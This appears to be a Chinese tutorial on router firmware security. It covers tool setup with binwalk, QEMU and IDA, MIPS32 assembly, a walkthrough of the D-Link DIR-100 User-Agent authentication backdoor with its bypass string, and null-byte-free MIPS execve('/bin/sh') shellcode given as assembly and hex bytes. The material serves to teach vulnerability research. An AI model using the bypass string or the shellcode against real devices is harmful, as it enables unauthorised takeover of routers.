前言
本文可作為路由器安全的入門學習教程,一起學習從零基礎從搭建環境開始入門路由器固件安全分析的技術。
搭建環境篇
演示系統:debian 3.16.0-4-686-pae
本篇重在演示路由器固件分析及運行環境,而對於工具各參數將不詳細闡述其用法,這里只要能夠成功搭建起來即可。
由於binwalk,qemu等工具目前只能在linux環境下運行,又比如需要wine運行32位IDA程序。故綜合各方面,建議安裝32位debian發行版本。
在安裝各工具及依賴前更新/etc/apt/source.list,添加一行:deb http://us.archive.ubuntu.com/ubuntu saucy main universe,接着sudo apt-get update。以及安裝build-essential:sudo apt-get install build-essential,它能夠解決安裝過程的復雜的依賴問題。
1.IDA pro
由於路由器提取的根文件系統有符號鏈接,在Windows下容易造成符號鏈接丟失,故在linux中安裝IDA Pro,同時linux原生版本的IDA pro網上的版本過舊,所以采取wine運行Windows IDA Pro。安裝wine,通過在終端輸入如下命令:
sudo apt-get install wine
選擇在/opt目錄下新建目錄ida將Windows IDA Pro下所有文件一概都拷貝到該文件夾下。
同時idaq.exe和idaq64.exe均為32位可執行文件,這里也是安裝32位Debian的原因。
由於后續會使用到IDA Pro的IDAPython插件,故還需要下載https://www.dllme.com/dll/download/14091/python27.dll(該下載地址來源於網絡),並放置到ida根目錄下。同時啟動idaq.exe以如下方式啟動:`export PYTHONPATH=/usr/lib/python2.7 && wine idaq`,當然可以寫入/usr/bin中,以該腳本方式啟動。
最后,對路由器分析還需要一些IDA插件的支持,terminal中輸入git clone https://github.com/devttys0/ida.git,將整個目錄中的py文件拷貝到/opt/ida/plugins中。此時啟動后能夠看到插件的生效如MIPS ROP Finder。
2.BinWalk
如kali中安裝帶有BinWalk,但是由於缺少依賴依賴,故無法對固件進行解包,先使用git進行下載:git clone https://github.com/devttys0/binwalk.git。
此時,僅可以對固件進行簡單的掃描操作。
安裝依賴可以通過binwalk根目錄下的INSTALL.md依次進行安裝或者以root身份運行deps.sh。
通過執行binwalk -Me 固件文件作為判斷依賴是否安裝成功的依據。
3.qemu
qemu為模擬處理器的軟件,通過git進行下載:git clone git://git.qemu-project.org/qemu.git。進入qemu下載目錄。
執行如下命令
git submodule update --init pixman git submodule update --init dtc sudo apt-get install libglib2.0 sudo apt-get install libglib2.0-dev sudo apt-get install autoconf automake libtool
成功后進行配置並編譯安裝:sudo ./configure --static&&sudo make&&sudo make install。
對某固件bin目錄下非符號鏈接的文件進行file命令,判斷其指令集類型。
tophant@debian:~/IOT/backdoor/_w30xr_v3.1.201c_cn.bin.extracted/_40.extracted/_ramdisk.extracted/squashfs-root/bin$ file busybox busybox: ELF 32-bit LSB executable, MIPS, MIPS-II version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
說明為mips小端格式(little endian),小端格式也可見固件分析篇一節。
在提取文件系統的bin目錄中直接執行qemu-mipsel ls,將會報找不到庫文件的錯誤。這其實是因為需要定位根目錄到提取出文件系統的根目錄中。
tophant@debian:~/IOT/backdoor/_w30xr_v3.1.201c_cn.bin.extracted/_40.extracted/_ramdisk.extracted/squashfs-root$ cp $(which qemu-mipsel) ./ sudo chroot . ./qemu-mipsel /bin/ls
將qemu-mispel拷貝到當前目錄,為更改執行目錄做准備,之后接着執行ls命令,可以看到能夠將mipsel指令集的ls運行起來了。
4.交叉編譯環境
后續過程中,涉及到編譯編寫存在漏洞的mips可執行文件及編寫mips可用的shellcode,故需要在linux上搭建交叉編譯環境。
wget http://buildroot.uclibc.org/downloads/snapshots/buildroot-snapshot.tar.bz2 tar -jxvf buildroot-snapshot.tar.bz2
完成下載及解壓后,執行如下命令。
cd buildroot sudo apt-get install libncurses5-dev patch make clean make menuconfig
出現如下界面
以MIPS小端格式為例,進入target options->target architecture選擇mips(little endian),target options->target architecture variant設置為MIPS。
進入toolchain將kernel headers中將其改為對應機器的內核版本。
由於測試機為3.16,故修改為低於此版本的headers。
執行sudo make進行編譯,成功后在buildroot目錄的/output/host/usr/bin下出現mipsel-linux-gcc。
同樣,可以編寫hello world程序使用mipsel-linux-gcc進行編譯后,使用qemu-mipsel進行運行,其中mipsel-linux-gcc用法與gcc一致,讀者可以自行運行一下。
5.系統環境網絡配置
之前,已經通過qemu成功執行了一個mips程序,qemu還有一種模擬整個系統的模式。現在配置qemu虛擬機中的網絡環境。
sudo apt-get install uml-utilities bridge-utils
后續步驟來源於參考資料,未能掌握這樣配置的原因,但暫且按部就班進行操作。
向/etc/network/interfaces添加如下內容:
auto lo iface lo inet loopback auto eth0 iface eth0 inet manual up ifconfig eth0 0.0.0.0 up auto br0 iface br0 inet dhcp bridge_ports eth0 bridge_stp off bridge_maxwait 1
在/etc/qemu-ifup中寫入如下內容:
#!/bin/sh echo "executing /etc/qemu-ifup" echo "bringing up $1 for bridged mode..." sudo /sbin/ifconfig $1 0.0.0.0 promisc up echo "adding $1 to br0..." sudo /sbin/brctl addif br0 $1 sleep 2
保存退出后使用chmod a+x為其加上可執行屬性。輸入sudo service networking restart重啟網絡使設置生效。sudo ifdown eth0&sudo ifup br0。此時演示環境的網絡情況如下:
現在,需要下載內核文件和磁盤鏡像。進入people.debian.org/~aurel32/qemu/即可,小端格式MIPS則為下載vmlinux-2.6.32-5-4kc-malta和debian_squeeze_mipsel_standard.qcow2。
執行如下命令。
sudo qemu-system-mipsel -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console==ttyS0" -net nic,macaddr=00:10:10:10:10:10 -net tap -nographic
進入后默認密碼為root/root,登錄后編輯/etc/network/interfaces,加入如下內容:
auto lo iface lo inet loopback # The primary network interface allow-hotplug eth1 iface eth1 inet dhcp
ifup eth1 啟用eth1接口,現在mips虛擬機網絡信息如下圖。
至此,常用的路由器固件分析工具均已搭建且配置完畢。
指令分析篇
為了不在分析固件的過程中,避免反復說明同一類問題的情況,本篇將會把涉及的mips匯編指令及特性等相關內容進行匯總加以說明。
目前,路由器多為使用mips32指令集的linux,掌握mips32匯編在逆向分析路由器固件中顯得格外重要。總體來說,其屬於risc精簡指令集,每條指令為4字節定長。
1.寄存器
mips32中存在32個通用寄存器,每個寄存器長度均為32位,具體可見下表。
除了通用寄存器,還有幾個特殊寄存器\$pc(程序計數器),\$hi(乘法高位存放,除法余數存放),\$lo(乘法低位存放,除法商存放)。
2.常見指令
mips32指令編碼類型:
(1)6bit 操作碼+5bit源操作數+5bit第二源操作數+5bit目的操作數+5bit位移量+6bit函數碼
(2)6bit操作碼+5bit源操作數+5bit第二源操作數+16bit立即數
(3)6bit操作碼+26bit地址
算術類:
因為受到risc指令定長的影響,對於mips32來說所有操作數不能使用內存尋址方式。對於add(i)(u)/sub(i)(u)加減類操作使用3個操作數,對於使用立即數的運算立即數大小不能超過16bit的表示。div/mul指令由於結果保存在特殊寄存器\$hi和\$lo中,所以使用2個操作數即可。
load/store類:
load對應其匯編指令中l開頭的指令如lb,lw,la等等,作用為將尋址內容或是立即數讀入寄存器。相應地,store為s開頭如sb,sw等等將制定長度內容存入內存地址中。
跳轉指令:
均為無條件跳轉。j target為跳轉到target表示的地址,jr \$reg如jr \$ra常常被用於函數返回,jal target代表junp and link將下一指令位置存入\$ra並跳轉到$ra。 其使用(3)型指令,故可以尋址26bit地址即256mb。
分支跳轉指令:
b target無條件跳轉到target,beq \$reg1,\$reg2,target為\$reg1=\$reg2時跳轉到target。同樣地,beq后的eq可以被替換包括lt(小於),le(小於等於),ne(不等於),ge(大於等於),gt(大於)。
syscall:
完成系統調用,\$v0存放系統調用號,一般情況下,\$a0-\$a3存放參數,系統調用返回時\$v0存放返回值,如若出錯則在\$a3中存放錯誤編號。
3.特性
尋址方式:
包括立即數尋址,寄存器尋址,寄存器相對尋址(寄存器和16位立即數相加后尋址),pc相對尋址:pc寄存器和16位立即數左移2位后運算尋址。
內存表示方法:
正如環境搭建出現的mipsel(little-endian),這里以舉例方式來說明。如0x12345678早大端和小端方式存放的區別。從低地址到高地址表示大端存放字節為0x12,0x34,0x56,0x78,小端方式從低地址到高地址為0x780x56,0x34,0x12。
流水線特性:
也被稱為分支延遲槽 ,與時鍾周期等有關,如jal在完成函數調用前jal的后一條指令已經被執行。
后門分析篇
本節將通過逆向分析一個實際路由器后門漏洞問題,在此同時鞏固指令分析篇的知識。
2014-02-10,CNCERT在http://www.cert.org.cn/publish/main/9/2014/20140429121938383684464/20140429121938383684464_.html 一文中通報了多個路由器的后門漏洞,其中包括D-LINK路由器的一個后門漏洞。
固件可以通過ftp://ftp.dlink.eu/Products/dir/dir-100/driver_software/DIR-100_fw_reva_113_ALL_en_20110915.zip進行下載。
首先,需要將固件的文件系統提取出來,使用環境搭建中安裝的binwalk工具進行提取。輸入命令:binwalk -Me DIR100_v5.0.0EUb3_patch02.bix,其中-e代表根據配置文件從固件中提取文件系統,-M代表根據進行遞歸提取。
成功提取后,進入提取文件系統目錄 的bin目錄下。同時,由於該后門的描述為:攻擊者通過修改User-Agent 值為“xmlset_roodkcableoj28840ybtide”(沒有引號)即可繞過路由器Web認證機制取得后台管理權限。故推測該后門與路由器的web server程序有關,在該目錄下對文件名作為簡單的判斷依據,故對webs文件進行逆向分析。
根據file命令得知其為大端mips32格式的可執行文件。
tophant@debian:~/IOT/backdoor/_DIR100_v5.0.0EUb3_patch02.bix.extracted/squashfs-root/bin$ file webs``webs: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
根據公告信息得知,在IDA Pro字符串窗口搜索字符串:xmlset_roodkcableoj28840ybtide。
根據交叉引用位置發現該字符串被出現在alpha_auth_check函數中。
可以看到這個字符串和$s0+0xd0處內容當strcmp匹配成功,則會v1=1,轉入loc_423edc。
這里也就是check成功的返回值。也就是之前設置的1。
而s0就是a0,傳遞的第一個參數。
依次向上找調用處。
函數簡化的為調用流程httpd_parse_request->alpha_httpd_parse_request->alpha_auth_check。在httpd_parse_request中看到結構體0xd0偏移處 的設置。這里對應user-agent域的內容。這里驗證了確實是user-agent為該值進行驗證。
繼續看上層函數會判斷alpha_auth_check返回值與-1的值。同時注意這里延遲槽的處理。
成功傳入http_request_t*內容等調用do_xgi處理請求。
驗證不通過則重定向到/public/login.htm。
這一步驗證了為該特殊值通過驗證不會被重定向到登錄頁面的情況。最終確定該后門漏洞細節與描述一致。
漏洞利用基礎篇
1.基本溢出原理
本篇將介紹如何編寫基礎功能的shellcode中的payload,如ctf pwn中常常會使用到的執行/bin/sh。因本篇做基礎技術介紹,至於其他更為復雜的payload編寫及實際二進制漏洞利用將在后續依次介紹。
mips與x86函數調用存在比較大的差別,從如下幾點進行描述。
葉子函數:內部不再調用其他函數的函數稱為葉子函數,相反稱為非葉子函數。
先來分析如超過4個參數傳遞的非葉子函數調用。
高地址到低地址依次為當前函數的寄存器備份和局部變量,參數x-參數1(參數4-參數1預留),當前函數返回用的地址,調用函數的寄存器備份及局部變量。。。。。。依次類推。葉子函數和非葉子函數根據之前的描述可知其決定如何返回到上層函數。故討論覆蓋返回地址問題時需要分開討論。
由於這里的non_leaf會調用strcpy所以其是一個非葉子函數,可以看到var_4位置是返回\$ra存放的位置。而var_20是strcpy的目的地址,這里存在棧溢出漏洞是可以覆蓋掉var_4控制返回地址 的。
對於葉子函數,這類情況返回地址不會暫存在棧中,所以其通過$ra進行函數返回。此時就需要滿足溢出空間足夠,來覆蓋上層函數存放返回地址的區域,因為上層函數必定是一個非葉子函數。
2.基本payload編寫方法
在mips32-linux的payload編寫,不可避免的使用到syscall系統調用。正如固件分析篇中所描述的,\$v0作為系統調用號,$a0-\$a3作為傳遞參數。
首先,不同系統調用對應不同的系統調用號及參數,故需要完成確定系統調用號的工作。為了確定系統號,進入使用者的buildroot目錄(為搭建環境中的交叉編譯安裝目錄),如進入/home/tophant/buildroot/output/build/linux-headers-3.12.74/usr/include/asm,查看unistd.h頭文件,演示的對應大端mips-libnux的頭文件,不過對於小端mips-linux來說應該保持一致。如下為該 文件的簡單片段。
Linux o32 style syscalls are in the range from 4000 to 4999. #define __NR_Linux 4000 #define NR_syscall (NR_Linux + 0) #define NR_exit (NR_Linux + 1) #define NR_fork (NR_Linux + 2) #define NR_read (NR_Linux + 3) #define NR_write (NR_Linux + 4) #define NR_open (NR_Linux + 5) #define NR_close (NR_Linux + 6) #define NR_waitpid (NR_Linux + 7) #define NR_creat (NR_Linux + 8) #define NR_link (NR_Linux + 9) #define NR_unlink (NR_Linux + 10) ...... #define NR_prlimit64 (NR_Linux + 338) #define NR_name_to_handle_at (NR_Linux + 339) #define NR_open_by_handle_at (NR_Linux + 340) #define NR_clock_adjtime (NR_Linux + 341) #define NR_syncfs (NR_Linux + 342) #define NR_sendmmsg (NR_Linux + 343) #define NR_setns (NR_Linux + 344) #define NR_process_vm_readv (NR_Linux + 345) #define NR_process_vm_writev (NR_Linux + 346) #define NR_kcmp (NR_Linux + 347) #define NR_finit_module (NR_Linux + 348)
可知,對於mips32來說syscall的功能號范圍為4000到4348。比如#define NR_execve (NR_Linux + 11)代表execve的調用號為4011。
那么,現在便動手編寫一個運行linux shell的payload,對應linux中的函數為execve。首先通過man查看該函數的簡要說明,以便確定系統調用時的參數。
NAME execve - execute program SYNOPSIS #include int execve(const char filename, char const argv[],char *const envp[]);
可知,只需要向filename填充"/bin/sh"來完成,argv,envp填寫NULL即可。
如下為使用mips32匯編語言編寫的代碼。
.section .text .globl shellcode_execve .set noreorder shellcode_execve: addiu \$sp,\$sp,-32 jal alpha nop alpha: addiu \$a0,\$ra,20 li \$a1,0 li \$a2,0 li \$v0,4011 syscall variables: .byte 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68
.section .text代表為代碼段;.globl shellcode_execve代表程序主函數入口根據shellcode_execve標識;.set noreorder與流水線機制相關,為了代碼被重新編排故加上本句宏.
shellcode_execve使用jal指令,這將會把alpha的運行時地址存入\$ra中,目的為能夠動態定位到variables標識的地址初,避免不同運行環境下的不同地址問題,也被稱為代碼重定位技術。而nop一句為流水線機制留空。addiu \$a0,\$ra,20為定位到variables,\$ra運行時為alpha的地址,而mips32為risc,指令為定長4字節,可以計算出到該字符串的距離4x5=20,接着就是參數2,3設置,現設置為NULL。最后完成調用號為4011(execve)的系統調用,最后緊跟/bin/sh字符串。
編譯並鏈接使用如下指令,同樣用到交叉編譯工具buildroot。
tophant@debian:~/buildroot/output/host/usr/bin$ ./mips-linux-as /home/tophant/IOT/source/shellcode_execve.S -o /home/tophant/IOT/source/shellcode_execve.o tophant@debian:~/buildroot/output/host/usr/bin$ ./mips-linux-ld /home/tophant/IOT/source/shellcode_execve.o -o /home/tophant/IOT/source/shellcode_execve ./mips-linux-ld: warning: cannot find entry symbol __start; defaulting to 00000000004000d0
該mips32匯編編寫已結被成功運行。現在需要將編寫的shellcode提取出來。首先通過readelf讀取節頭表。
可以看到起始於0x4000d0,大小為0x30。進入ida在反匯編窗口找到對應位置,單擊0x4000d0,進入hex-view。
灰色區域就是待提取的shellcode。
E0 FF BD 27 37 00 10 0c 00 00 00 00 14 00 E4 27 00 00 05 24 00 00 06 24 AB 0F 02 24 0C 00 00 00 2F 62 69 6E 2F 73 68 00 00 00 00 00 00 00 00 00
例如存在使用strcpy的溢出漏洞,完整的payload將會被\x00截斷,故需要將\x00壞字符剔除。
\x37\x00\x10\0c jal alpha \x00\x00\x00\x00 nop \x14\x00\xe4\x27 addiu \$sp,\$sp,-32 \x00\x00\x05\x24 li \$a1,0 \x00\x00\x06\x24 li \$a2,0
如上匯編指令均需要被調整為不帶\x00的指令。
.section .text .globl __start .set noreorder __start: addiu \$sp,\$sp,-32alpha2:li \$a2, 0x1111bltzal \$a2, alpha2lui \$a1, 0x101alpha:addiu \$a0,\$ra,1025addiu \$a0,\$a0,-1001slti \$a1, \$zero, -1slti \$a2, \$zero, -1li \$v0,4011syscall 0x1111 variables: .byte 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68
根據參考,jal alpha調整為li \$a2,0x1111;bltzal \$a2,alpha2這樣保證alpha在當前調整鏈接的上方不會因為payload長度原因導致跳轉高8位為0x00。
nop指令在x86下為\x90,而在mips32下為\x00\x00\x00\x00,所以使用不影響payload運行的無效指令替代nop,lui \$a1,0x0101。
\x14\x00\xe4\x27一句中可以看到低2字節和調整堆棧位置大小有關。所以通過先加一個16進制的3位數,再相應前去對應大小即可,同時保證不含\x0001103。如addiu \$a0,\$ra,1025,addiu \$a0,\$a0,-1001。
li \$a1,0調整為slti \$a1,\$zero,-1,因為0寄存器總小於1,\$a1一定會被置為0。同理調整 li \$a2,0為slti \$a2,\$zero,-1。
最后,重構payload需要調整重定位的偏移。
可以觀察到所有的\x00都被剔除了。至此以\x00為壞字符的修正過程完畢。
以上均是shellcode的編寫技術的基礎概覽,在實際運用中還需要根據特定條件進行一定的轉換。
參考資料
1.揭秘家用路由器0day漏洞挖掘技術——吳少華
2.詳細的路由器漏洞分析環境搭建教程——伐秦
3.Reported Vulnerability - D-Link routers authenticate administrative access using specific User-Agent string